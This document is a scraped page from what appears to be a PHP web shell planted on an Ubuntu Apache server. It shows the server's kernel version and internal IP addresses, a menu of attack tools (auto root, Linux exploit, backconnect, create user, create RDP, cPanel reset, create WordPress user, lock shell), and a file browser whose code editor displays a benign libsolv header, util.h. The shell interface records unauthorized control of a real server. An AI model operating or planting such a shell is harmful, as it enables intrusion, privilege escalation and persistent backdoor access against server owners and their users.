Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
include /
solv /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmap.h
1.52
KB
-rw-rw-r--
chksum.h
1.16
KB
-rw-rw-r--
conda.h
638
B
-rw-rw-r--
dataiterator.h
4.99
KB
-rw-rw-r--
dirpool.h
1.67
KB
-rw-rw-r--
evr.h
815
B
-rw-rw-r--
hash.h
1.57
KB
-rw-rw-r--
knownid.h
13.69
KB
-rw-rw-r--
policy.h
1.7
KB
-rw-rw-r--
pool.h
13.77
KB
-rw-rw-r--
poolarch.h
1.21
KB
-rw-rw-r--
poolid.h
1.16
KB
-rw-rw-r--
pooltypes.h
1.06
KB
-rw-rw-r--
poolvendor.h
499
B
-rw-rw-r--
problems.h
2.65
KB
-rw-rw-r--
queue.h
2.41
KB
-rw-rw-r--
repo.h
7.85
KB
-rw-rw-r--
repo_conda.h
491
B
-rw-rw-r--
repo_solv.h
557
B
-rw-rw-r--
repo_write.h
1.93
KB
-rw-rw-r--
repodata.h
11.93
KB
-rw-rw-r--
rules.h
6.43
KB
-rw-rw-r--
selection.h
2.55
KB
-rw-rw-r--
solv_xfopen.h
553
B
-rw-rw-r--
solvable.h
3.87
KB
-rw-rw-r--
solver.h
17.66
KB
-rw-rw-r--
solverdebug.h
1.24
KB
-rw-rw-r--
solvversion.h
1.61
KB
-rw-rw-r--
strpool.h
1.44
KB
-rw-rw-r--
testcase.h
2.11
KB
-rw-rw-r--
tools_util.h
1.6
KB
-rw-rw-r--
transaction.h
4.75
KB
-rw-rw-r--
util.h
3.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : util.h
/* * Copyright (c) 2007, Novell Inc. * * This program is licensed under the BSD license, read LICENSE.BSD * for further information */ /* * util.h * */ #ifndef LIBSOLV_UTIL_H #define LIBSOLV_UTIL_H #include <stddef.h> #include <string.h> #ifdef __cplusplus extern "C" { #endif /** * malloc * exits with error message on error */ extern void *solv_malloc(size_t); extern void *solv_malloc2(size_t, size_t); extern void *solv_calloc(size_t, size_t); extern void *solv_realloc(void *, size_t); extern void *solv_realloc2(void *, size_t, size_t); extern void *solv_extend_realloc(void *, size_t, size_t, size_t); extern void *solv_free(void *); extern char *solv_strdup(const char *); extern void solv_oom(size_t, size_t); extern unsigned int solv_timems(unsigned int subtract); extern int solv_setcloexec(int fd, int state); extern void solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard); extern char *solv_dupjoin(const char *str1, const char *str2, const char *str3); extern char *solv_dupappend(const char *str1, const char *str2, const char *str3); extern int solv_hex2bin(const char **strp, unsigned char *buf, int bufl); extern char *solv_bin2hex(const unsigned char *buf, int l, char *str); extern size_t solv_validutf8(const char *buf); extern char *solv_latin1toutf8(const char *buf); extern char *solv_replacebadutf8(const char *buf, int replchar); static inline void *solv_extend(void *buf, size_t len, size_t nmemb, size_t size, size_t block) { if (nmemb == 1) { if ((len & block) == 0) buf = solv_extend_realloc(buf, len + 1, size, block); } else { if (((len - 1) | block) != ((len + nmemb - 1) | block)) buf = solv_extend_realloc(buf, len + nmemb, size, block); } return buf; } /** * extend an array by reallocation and zero's the new section * buf old pointer * len current size * nmbemb number of elements to add * size size of each element * block block size used to allocate the elements */ static inline void *solv_zextend(void *buf, size_t len, size_t nmemb, size_t size, size_t block) { buf = solv_extend(buf, len, nmemb, size, block); memset((char *)buf + len * size, 0, nmemb * size); return buf; } static inline void *solv_extend_resize(void *buf, size_t len, size_t size, size_t block) { if (len) buf = solv_extend_realloc(buf, len, size, block); return buf; } static inline void *solv_calloc_block(size_t len, size_t size, size_t block) { void *buf; if (!len) return 0; buf = solv_extend_realloc((void *)0, len, size, block); memset(buf, 0, ((len + block) & ~block) * size); return buf; } static inline void *solv_memdup(const void *buf, size_t len) { void *newbuf; if (!buf) return 0; newbuf = solv_malloc(len); if (len) memcpy(newbuf, buf, len); return newbuf; } static inline void *solv_memdup2(const void *buf, size_t num, size_t len) { void *newbuf; if (!buf) return 0; newbuf = solv_malloc2(num, len); if (num) memcpy(newbuf, buf, num * len); return newbuf; } #ifdef __cplusplus } #endif #endif /* LIBSOLV_UTIL_H */
Close